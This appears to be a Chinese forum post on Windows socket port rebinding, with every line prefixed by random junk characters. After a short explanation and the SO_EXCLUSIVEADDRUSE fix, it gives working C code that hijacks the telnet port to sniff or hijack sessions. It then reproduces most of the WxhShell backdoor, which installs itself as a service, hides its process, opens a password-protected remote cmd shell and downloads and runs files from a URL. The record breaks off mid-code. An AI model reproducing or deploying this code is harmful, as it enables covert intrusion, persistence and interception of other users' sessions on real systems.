在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
l2&hBacT s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
tt4+ m>/T "l,UOv c saddr.sin_family = AF_INET;
=!,Gst_ 9;KJr[FQV saddr.sin_addr.s_addr = htonl(INADDR_ANY);
.Z%G@X* >;nS8{2o bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Coa -8j*R7 f=I:DkR 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
~O4|KY ~L4eZ 这意味着什么?意味着可以进行如下的攻击:
5I,$EGG Ze
?
g 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
0ar=cuDm |F!F{d^p 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
^l !L)iw CV^c",b_ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
`="v>qN2\ AS;.sjgk 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
G|9B)`S z{?4*Bq 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
8A{6j z\.1>/Z= 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
_;e\:7<m @]'SeiNp 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
g%\L&}Jd qm(1:iK,0 #include
1^{`lK~2 #include
._<ii 2K' #include
JSW&rn #include
=n0*{~r DWORD WINAPI ClientThread(LPVOID lpParam);
-(;LQDG | int main()
/EFq#+6 {
@@}`hii WORD wVersionRequested;
zvf3b!} DWORD ret;
[7W(NeMk WSADATA wsaData;
\&q=@rJp(z BOOL val;
.3wY\W8Dr- SOCKADDR_IN saddr;
o3h -=t SOCKADDR_IN scaddr;
kx{!b3" int err;
q)iTn)Z! SOCKET s;
X?dfcS*!n SOCKET sc;
|}S1o0v{(a int caddsize;
t26ij`V HANDLE mt;
;f%|3-q1[ DWORD tid;
p&3>
`C wVersionRequested = MAKEWORD( 2, 2 );
I/s.xk_i err = WSAStartup( wVersionRequested, &wsaData );
J22r v( if ( err != 0 ) {
'29WscU printf("error!WSAStartup failed!\n");
;$!I&<) return -1;
aWaw&u }
Rd! 2\| saddr.sin_family = AF_INET;
b5 Q NEi \Ph7(ik //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
C\Ayv)S#2 pm]fQuq saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
@"8R3BN saddr.sin_port = htons(23);
;<-7*}Dj if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
rn" pKUd {
\P?A7vuhLs printf("error!socket failed!\n");
s4,(26y return -1;
1K[(ou'rl }
25em[Q:
val = TRUE;
}lfn0 %(@ //SO_REUSEADDR选项就是可以实现端口重绑定的
%v4
[{ =fE if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
\ 4gXY$`@ {
t[2i$%NVM printf("error!setsockopt failed!\n");
zj20;5o>U& return -1;
xo~g78jm7, }
+,_c/(P //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
mk= #\> //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
V0NVGRQ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Lt>7hBe" fNoR\5}! if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
fIyPFqf7w) {
~@fR[sg< ret=GetLastError();
d=F-L printf("error!bind failed!\n");
`K?1L{p'4 return -1;
GZ3/S|SMP }
CW0UMPE5 listen(s,2);
:s*>W$Wp4 while(1)
_4R,Ej} {
{L9yhYw caddsize = sizeof(scaddr);
j>!sN`dBj //接受连接请求
Kbas-</Si sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
"DjU:*' if(sc!=INVALID_SOCKET)
=Ahw%`/&}] {
v*r9j8 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
grbTcLSF if(mt==NULL)
"$8w.C {
&;v!oe printf("Thread Creat Failed!\n");
;BI)n]L break;
YzV(nEW }
K0<yvew }
kp`0erJqw CloseHandle(mt);
e&3#2_ }
*Nlu5(z closesocket(s);
O5;-Om WSACleanup();
o!Fl]3F return 0;
H#+xKYrp }
tpU
D0Z) DWORD WINAPI ClientThread(LPVOID lpParam)
ou6j*eSN {
[g|Hj)( SOCKET ss = (SOCKET)lpParam;
}m_t$aaUc1 SOCKET sc;
@^CG[:| unsigned char buf[4096];
{!=2<-Aq SOCKADDR_IN saddr;
;3UvkN long num;
3; y_mg DWORD val;
E@pFTvo DWORD ret;
1nB@zBQu- //如果是隐藏端口应用的话,可以在此处加一些判断
sqG`"O4W //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
/=ylQn3
* saddr.sin_family = AF_INET;
(C `@a/q saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
\n0gTwiO% saddr.sin_port = htons(23);
B01^oYM} if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
d_T<5Hin {
t w!.%_1^ printf("error!socket failed!\n");
B] i:) return -1;
M(5D'4. }
m!Af LSlwm val = 100;
/*P7<5n0 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
-f.R#J$2 {
.Cr1,Po ret = GetLastError();
&<h?''nCy return -1;
R3G@G }
iQ{z6Qa if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
C BlXC7_Mi {
;+%Z@b% ret = GetLastError();
XU-*[\K return -1;
{!t=n }
8IJ-]wHIb if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
{8:o?LnMW {
^&m?qKN8 printf("error!socket connect failed!\n");
.e$%[)D closesocket(sc);
rIlBH*aT closesocket(ss);
5_aw.s> return -1;
u]*5Ex (? }
ysVi3eq while(1)
w_H2gaQ {
oCA(FQ6 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
>0V0i%inmF //如果是嗅探内容的话,可以再此处进行内容分析和记录
0n5!B..m} //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
^0Q'./A{& num = recv(ss,buf,4096,0);
8uA<G/Q; if(num>0)
4NUNOv`[{ send(sc,buf,num,0);
4:3_ER ]J else if(num==0)
GZ"/k<~0 break;
CWvlr nv num = recv(sc,buf,4096,0);
n?Z f/T if(num>0)
Y)OBTX send(ss,buf,num,0);
M5u_2;3 else if(num==0)
_n_sfT6)B break;
|."G ?* }
h0XH`v closesocket(ss);
Bb_Q_<DTs closesocket(sc);
LP?P=c return 0 ;
_H2tZ%RM }
>Bx8IO1_\d %^!aB H ;wR ==========================================================
>{F!ntEj os_WYQ4>j 下边附上一个代码,,WXhSHELL
zn^ v!:[ O+vcs4 ==========================================================
OQc{
V {? 2;0}3?; #include "stdafx.h"
N(BiOLZL6 j%5a+(H,z; #include <stdio.h>
x~Cz?ljbn #include <string.h>
Um'Ro 4 #include <windows.h>
q_pmwJ:UL #include <winsock2.h>
o}W;Co #include <winsvc.h>
',# #include <urlmon.h>
J% AG` idz9YpW #pragma comment (lib, "Ws2_32.lib")
QQq/5r4O`q #pragma comment (lib, "urlmon.lib")
.5z&CJDiIi i*z0Jf[" #define MAX_USER 100 // 最大客户端连接数
8~qlLa>jc #define BUF_SOCK 200 // sock buffer
^k;mn-0 #define KEY_BUFF 255 // 输入 buffer
%yKKUZ~ _'lmCj8L #define REBOOT 0 // 重启
UEN56@eCNf #define SHUTDOWN 1 // 关机
RxMoD.kx $^IjFdD #define DEF_PORT 5000 // 监听端口
KcnjF^k 94YA2_f; #define REG_LEN 16 // 注册表键长度
3 69Zu4|u #define SVC_LEN 80 // NT服务名长度
FH[#yq.Pr + "zYn!0 // 从dll定义API
S[sr'ZW typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
}{t3SGs J typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
<K,[sy&Qy typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
B6uRJcD4 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
!^-OfqIHfV R Y9.n // wxhshell配置信息
Z:TFOnJ struct WSCFG {
S[^nSF int ws_port; // 监听端口
zQt1;bo char ws_passstr[REG_LEN]; // 口令
u`+'lBE, int ws_autoins; // 安装标记, 1=yes 0=no
v!KJ|c@m char ws_regname[REG_LEN]; // 注册表键名
j^{b^!4~} char ws_svcname[REG_LEN]; // 服务名
s" N\82z) char ws_svcdisp[SVC_LEN]; // 服务显示名
+8eVj#N char ws_svcdesc[SVC_LEN]; // 服务描述信息
o
Fi) d[` char ws_passmsg[SVC_LEN]; // 密码输入提示信息
IF
e+B" int ws_downexe; // 下载执行标记, 1=yes 0=no
IE}Sdeqi) char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
P]-#wz=S char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Y=|CPE%V DEcGFRgN~ };
g kn)V~ij p_;r%o= // default Wxhshell configuration
D>S8$]^Dm struct WSCFG wscfg={DEF_PORT,
RB *P0 "xuhuanlingzhe",
K9^ "NS3 1,
&AJUY()8 "Wxhshell",
_V&x`ks "Wxhshell",
*cPN\Iu.W "WxhShell Service",
yduuFK "Wrsky Windows CmdShell Service",
wZ
O@J| "Please Input Your Password: ",
yE<,Z%J[n 1,
oLd:3,p} "
http://www.wrsky.com/wxhshell.exe",
X= SG "Wxhshell.exe"
8M~u_`6 };
CxkMhd8qz nqrDT1b** // 消息定义模块
>I|<^$/ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
1B(G]o_>! char *msg_ws_prompt="\n\r? for help\n\r#>";
zv,\@Z9.($ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
/RMer
Xj char *msg_ws_ext="\n\rExit.";
SbCJ|z#? char *msg_ws_end="\n\rQuit.";
5e)i!;7Uv char *msg_ws_boot="\n\rReboot...";
vyujC`61d char *msg_ws_poff="\n\rShutdown...";
n~.% p char *msg_ws_down="\n\rSave to ";
E~}[+X@ y%JF8R;n char *msg_ws_err="\n\rErr!";
!*9FKDB{ char *msg_ws_ok="\n\rOK!";
yZ ?$8r x!>d
6lgej char ExeFile[MAX_PATH];
r<v_CFJ int nUser = 0;
o;E(Kj HANDLE handles[MAX_USER];
:ET x*c int OsIsNt;
8pd&3G+ k~& o SERVICE_STATUS serviceStatus;
v,8Si'"i+ SERVICE_STATUS_HANDLE hServiceStatusHandle;
kF#{An)P M *v^N]>"G // 函数声明
G%Y*q(VrEu int Install(void);
\_?yzgf int Uninstall(void);
(&k')ff9K int DownloadFile(char *sURL, SOCKET wsh);
.a5X*M] int Boot(int flag);
s* @QT8% void HideProc(void);
3mybG%39 int GetOsVer(void);
am3V9"\ int Wxhshell(SOCKET wsl);
w{~" ;[@ void TalkWithClient(void *cs);
1R*1BStc int CmdShell(SOCKET sock);
QP'qG@j[: int StartFromService(void);
N=.}h\{0 int StartWxhshell(LPSTR lpCmdLine);
>}mNi:6xq nM=2"`@$ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
3F;EE: VOID WINAPI NTServiceHandler( DWORD fdwControl );
[1e.i `Y0fst<, // 数据结构和表定义
xNn>+J SERVICE_TABLE_ENTRY DispatchTable[] =
/\nJ {
.x]'eq} {wscfg.ws_svcname, NTServiceMain},
mSy|&(l {NULL, NULL}
1xq3RD };
av"Dljc dP?nP(l // 自我安装
*q+oeAYX int Install(void)
Sb^a dd0dT {
\MF3CK@/ char svExeFile[MAX_PATH];
RzMA\r;# HKEY key;
X #&(~1O strcpy(svExeFile,ExeFile);
y|$vtD%c m9 ^m // 如果是win9x系统,修改注册表设为自启动
eog\pMv if(!OsIsNt) {
CZF^Wxk if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
7?+5%7- RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
pHigxeV2 RegCloseKey(key);
u<$S> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
9zmD6G!}t RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Pv^(Q] RegCloseKey(key);
<yis return 0;
4
`j,&= }
ys:1Z\$P }
4F}g( }
D1oaG0 else {
h<+PP]l= #($k 3OA // 如果是NT以上系统,安装为系统服务
s@/B*r9 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
pK-_R# if (schSCManager!=0)
wgC??Be;ut {
SJso'6 g SC_HANDLE schService = CreateService
)e@01l (
Z|V"8jE schSCManager,
MA~|y_V wscfg.ws_svcname,
"bv,I-\ wscfg.ws_svcdisp,
xgZV0!% SERVICE_ALL_ACCESS,
zv8aV2?D SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Np|:dP9#} SERVICE_AUTO_START,
=>gyc;{2K< SERVICE_ERROR_NORMAL,
=x|##7 svExeFile,
Bl>_&A) NULL,
ho?|j"/7 NULL,
Oz"@yL} NULL,
e-L5=B NULL,
`V?x
xq\ NULL
XLkL#&Ir );
x.j Yip if (schService!=0)
K0d-MC {
9^6|ta0;0 CloseServiceHandle(schService);
GN"M:L^k` CloseServiceHandle(schSCManager);
$)kk8Q4+K strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
jx^|2 strcat(svExeFile,wscfg.ws_svcname);
Q
`J,dzY if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
L,s|gtv RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
o=mq$Z:} RegCloseKey(key);
hNu>s return 0;
dSA
[3V }
WZ-4^WM=! }
DDqC}l_ CloseServiceHandle(schSCManager);
qat45O4A1 }
tJ(c<:zD }
wgSR*d>y*9 -D.BJ( return 1;
gb!@OZ c }
eONeWY9 .y/NudD // 自我卸载
V0SW 5
m int Uninstall(void)
=)"NE> {
|TQedC HKEY key;
8GF[)z&|P: -s?dzX if(!OsIsNt) {
pIU#c&%<9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Zztt)/6* RegDeleteValue(key,wscfg.ws_regname);
pq/FLYiv RegCloseKey(key);
_qO;{%r if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
orcZyYU RegDeleteValue(key,wscfg.ws_regname);
qaCi)f!Dl RegCloseKey(key);
rR),~ @]sL return 0;
eR#gG^o8 }
1 $KLMW }
0-;DN:> }
"w:\@Jwu( else {
|k['wqn" `Yo-5h SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
?<>,XyY if (schSCManager!=0)
X:xC>4]gG' {
h%CEb< SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Knw'h;,[ if (schService!=0)
_D7HQ {
dy8In% if(DeleteService(schService)!=0) {
L.I}-n CloseServiceHandle(schService);
eMpEFY CloseServiceHandle(schSCManager);
g%fJyk' return 0;
B
$ y44 }
q N[\J7Pz9 CloseServiceHandle(schService);
zd6Qw-D7x }
:*F3 CloseServiceHandle(schSCManager);
PpJE|[] }
V,|Bzcz }
\>aa8LOe ^2Fs)19R return 1;
&2<&X( ) }
}Uqa8& N%n1>!X)! // 从指定url下载文件
KL:6P-3 int DownloadFile(char *sURL, SOCKET wsh)
c4qp3B_w {
M'>D[5;N~ HRESULT hr;
\M'bY: char seps[]= "/";
V{AH\IV- char *token;
r0hta)xa char *file;
r[UyI3(i^ char myURL[MAX_PATH];
b.%B;qB char myFILE[MAX_PATH];
@kCD. f!uA$uLc strcpy(myURL,sURL);
N,sqr k] token=strtok(myURL,seps);
5 vu_D^Q while(token!=NULL)
xi1N?
pP {
-!bLMLIg file=token;
b*6c.o token=strtok(NULL,seps);
0Z1H6qn }
"M5ro$qZ} U~){$kpI# GetCurrentDirectory(MAX_PATH,myFILE);
!e#I4,f n strcat(myFILE, "\\");
mKf>6/s{c strcat(myFILE, file);
jV|$?
Rcl% send(wsh,myFILE,strlen(myFILE),0);
LBbo.KxAe3 send(wsh,"...",3,0);
$@:>7Y" hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
p.TiTFu/ if(hr==S_OK)
yTq(x4] return 0;
Cr
V2 V)|G else
{Y@-*pL] return 1;
^]sMy7X0IK 3q.[-.q }
_?(hWC"0 W:+2We @ // 系统电源模块
u=v%7c2Mx} int Boot(int flag)
zoJkDr=jn {
d'x<F[`O HANDLE hToken;
q$u\
q. TOKEN_PRIVILEGES tkp;
OCOO02Wq1 L9unhx if(OsIsNt) {
!ovZ>,1 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
5S-o
2a LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
c^[1]'y tkp.PrivilegeCount = 1;
/nD0hb tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
s>M~g,xTU AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
x}8T[ if(flag==REBOOT) {
+'&_V011< if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Y5A~iGp8E return 0;
}Cq9{0by?a }
+VpE-X=T else {
vA7jZw if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
<{z3p:\ return 0;
J:-TINeB }
4pTuP / }
(.XDf3 else {
f{ 4G if(flag==REBOOT) {
|<Dx if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
}A'<?d8
return 0;
4-nr_
WCm4 }
gq:TUvX else {
6quWO2x if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
t1{%FJ0F return 0;
`Py=
?[cD }
+8vzkfr3It }
\|>`z,; +@7x45;D return 1;
C=_-p"O# }
@Jn:!8U0 r dG2| Tp // win9x进程隐藏模块
Ccd7|L1 void HideProc(void)
_d=&9d#=\ {
0qd;'r< , ZP3F+XKb HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
acju!,G if ( hKernel != NULL )
Jx
;"a\KD {
$}nUK~$GSv pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
y>cmKE ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
$J0~2TV< FreeLibrary(hKernel);
L9YwOSb. }
xjbyI_D #M9D"
<pn} return;
2"Uk}Yz| }
tD0>(41K A%w]~ chC9 // 获取操作系统版本
n
ua8y(W int GetOsVer(void)
Qu>zO !x {
_NqT8C4C OSVERSIONINFO winfo;
i7FR78^ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
?*mbce[ GetVersionEx(&winfo);
KJJb^6P48W if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
irw 7 return 1;
lgqL)^8A else
;I))gY-n return 0;
42LXL*-4 }
g!Yh=kA'N C<@1H>S4_ // 客户端句柄模块
HN~4-6[q int Wxhshell(SOCKET wsl)
a<"& RnG( {
,p`bWm SOCKET wsh;
59Q Q_#> struct sockaddr_in client;
YB1DL^: DWORD myID;
p'!,F; xX 0t[mhmSU, while(nUser<MAX_USER)
M-K@n$k {
^W[`##,{Od int nSize=sizeof(client);
@#Uiy5N wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
j=QR*8* if(wsh==INVALID_SOCKET) return 1;
o4'4H y -xgmc-LGo handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
AG\852`1m if(handles[nUser]==0)
_7"W\gn:9 closesocket(wsh);
si.a]k/f else
1nTaKK
q nUser++;
m:Cx~ }
la|l9N^, WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
]JPPL4wAT (0m$W< return 0;
JU \J
}
i{[H3p8 Bo\v-97 // 关闭 socket
"<$vU_ void CloseIt(SOCKET wsh)
'"\Mjz)/ {
xWb?i6)z& closesocket(wsh);
sl
@6 nUser--;
5f@YrTO[@ ExitThread(0);
Yn2^nT=8 }
+Qb/:xQu *xTquV$ // 客户端请求句柄
JU1; /3( void TalkWithClient(void *cs)
#&c;RPac!6 {
HFWm}vA: &:f'{>3z SOCKET wsh=(SOCKET)cs;
#( J}xz; char pwd[SVC_LEN];
7{F9b0zwk char cmd[KEY_BUFF];
7#.PMyK9 char chr[1];
uOqDJM'RM int i,j;
vS__*}^ |F{E4mg(o while (nUser < MAX_USER) {
rPvX8*)tV ,;pX.Ob U if(wscfg.ws_passstr) {
V*uu:
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
t
U=b~ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
}eFUw //ZeroMemory(pwd,KEY_BUFF);
?o5#Ve$-X i=0;
QO1Gq9 while(i<SVC_LEN) {
yzb& WR EGRy // 设置超时
(`/i1#nR fd_set FdRead;
Z@O
e}\.$ struct timeval TimeOut;
6v)eM=
FD_ZERO(&FdRead);
^F9zS`Yz2 FD_SET(wsh,&FdRead);
Pm;*Jv% TimeOut.tv_sec=8;
p: TimeOut.tv_usec=0;
F
) ~pw int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
QnLgP7Ft if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Z*"t]L TiEJyd`P if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
7gmMqz"z(> pwd
=chr[0]; *`'%tp"'+
if(chr[0]==0xd || chr[0]==0xa) { ,8?*U]}
pwd=0; &?sjeC_
break; usf(U>
} -vAG5x/ ,
i++; !O_^Rn+<2
} x+`3G.
R:x04!}
// 如果是非法用户,关闭 socket c}s3c
>`d
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);
|sM#g1D@
} [N+ruc?)
*
xXc$T
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2;r^~:
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); urjp&L&
9gayu<J
while(1) { IFoN<<7/2$
oioN0EuDk
ZeroMemory(cmd,KEY_BUFF); Ps4A
B#3
` &7?+s
// 自动支持客户端 telnet标准 ]r5Xp#q2
j=0; |q)Q<%VS'
while(j<KEY_BUFF) { A~SSu.L@
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Mn;CG'FA
cmd[j]=chr[0]; c4W"CD;D
if(chr[0]==0xa || chr[0]==0xd) { vAxtNRS
cmd[j]=0; aKr4E3`
break; [c )\?MWW
} m]pvJJ@
j++; <QLj6#d7Y
} )@M|YM1+
*9^k^h(r&4
// 下载文件 ,1h(k<-
if(strstr(cmd,"http://")) { c{ (%+
send(wsh,msg_ws_down,strlen(msg_ws_down),0); vB4qJ{f
if(DownloadFile(cmd,wsh)) 5X|aa>/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |<icx8hbr
else vtjG&0GSK
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,kuOaaV7K
} (XWs4R.mkb
else { (I
g
*iJ%2
1&nrZG9
switch(cmd[0]) { * OFT)S
o62gLO]z@
// 帮助 !Xce iQu
case '?': { J1MnkxJmpQ
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #R|4(HlL
break; b~echOj
} +Q&@2 oY"
// 安装 u:?RdB}B_@
case 'i': { ]xs\,}I%
if(Install()) NKYyMHv6
send(wsh,msg_ws_err,strlen(msg_ws_err),0); zaPR>:r0
else CcETS}Q0C
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Pfy;/}u^c
break; <!$Cvx\U
} wt,N<L
// 卸载 ga%77t|jm3
case 'r': { Q"uu&JC
if(Uninstall()) aW5~z^I
send(wsh,msg_ws_err,strlen(msg_ws_err),0); i?9Lf
else Pw1H)<X
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kp"cHJNx
break; -7Wmq[L/
} '.yr8
// 显示 wxhshell 所在路径 #}?$mxME*
case 'p': { F@3,>~[%I
char svExeFile[MAX_PATH]; oaE3Aa
strcpy(svExeFile,"\n\r"); ]P^ +~
strcat(svExeFile,ExeFile); 6Wp:W1E{`
send(wsh,svExeFile,strlen(svExeFile),0); =wc[r?7
break; Hq8.O/Y"=
} G9Ezm*I;:
// 重启 ST.W{:X
case 'b': { qxh\umm+2
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); b2H6}s"=w
if(Boot(REBOOT)) j+seJg<_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); .quc i(D
else { #kEdf0
closesocket(wsh); PX'%)5:q;i
ExitThread(0); #UIg<:
} HN%ZN}
break; k5M(Ve
} "m5ZZG#R`
// 关机 {D8IA3w
case 'd': { CPG %*E*
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); g?wogCs5
if(Boot(SHUTDOWN)) 9G9lSj5>
send(wsh,msg_ws_err,strlen(msg_ws_err),0); '@bA_F(
else { X)S4rW%
closesocket(wsh); yE>DQ *
ExitThread(0); !h\3cs`QU
} ;?9~^,l
break; g!UM8I-$
} J4; ".Y=
// 获取shell dl4.jLY
case 's': { L2%P
CmdShell(wsh); DTY=k
closesocket(wsh); %iNDRLR%I
ExitThread(0); |xOOdy6 )~
break; #.RI9B
} AF}HS8eYy
// 退出 k:.c(_2M
case 'x': { Lb/_ULo6-V
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); h&{pMmS3,
CloseIt(wsh); W`
V
break; b04~z&Xv
} B~IOM
// 离开 wv$=0zF
case 'q': { %;S5_K,
send(wsh,msg_ws_end,strlen(msg_ws_end),0); gg9W7%t/
closesocket(wsh); }sZ]SE
WSACleanup(); /k,p]/e
exit(1); tz{]H9
break; )
AIZE?oX
} /~Iy1L#
} S3m+(N" &
} rX[R`,`>Z[
O%I'
// 提示信息 *`W82V
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vL7}0n>tz
} 5+r#]^eQY-
} Tq+pFEgQ`@
wP
i=+
return; |(N4x(xl
} +}n]A^&I\E
i
F Ab"VA
// shell模块句柄 5`J.
ic
int CmdShell(SOCKET sock) ,LvJ'N
{ @`yfft
STARTUPINFO si; C-7.Sa
ZeroMemory(&si,sizeof(si)); `i-&Z`
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]iPdAwc.1
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %rsW:nl
PROCESS_INFORMATION ProcessInfo; ]pt @
char cmdline[]="cmd"; S@_GjCpn
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?@#<>7V
return 0; 6S(3tvUr
} UcZ3v]$I
'D
bHXS7N
// 自身启动模式 V}*b^<2o5
int StartFromService(void) K;Ktx>Z/
{ Hd:ZE::Q'#
typedef struct "6ZatRUd
{ .d2s4q\
DWORD ExitStatus; cg4,PI%hz
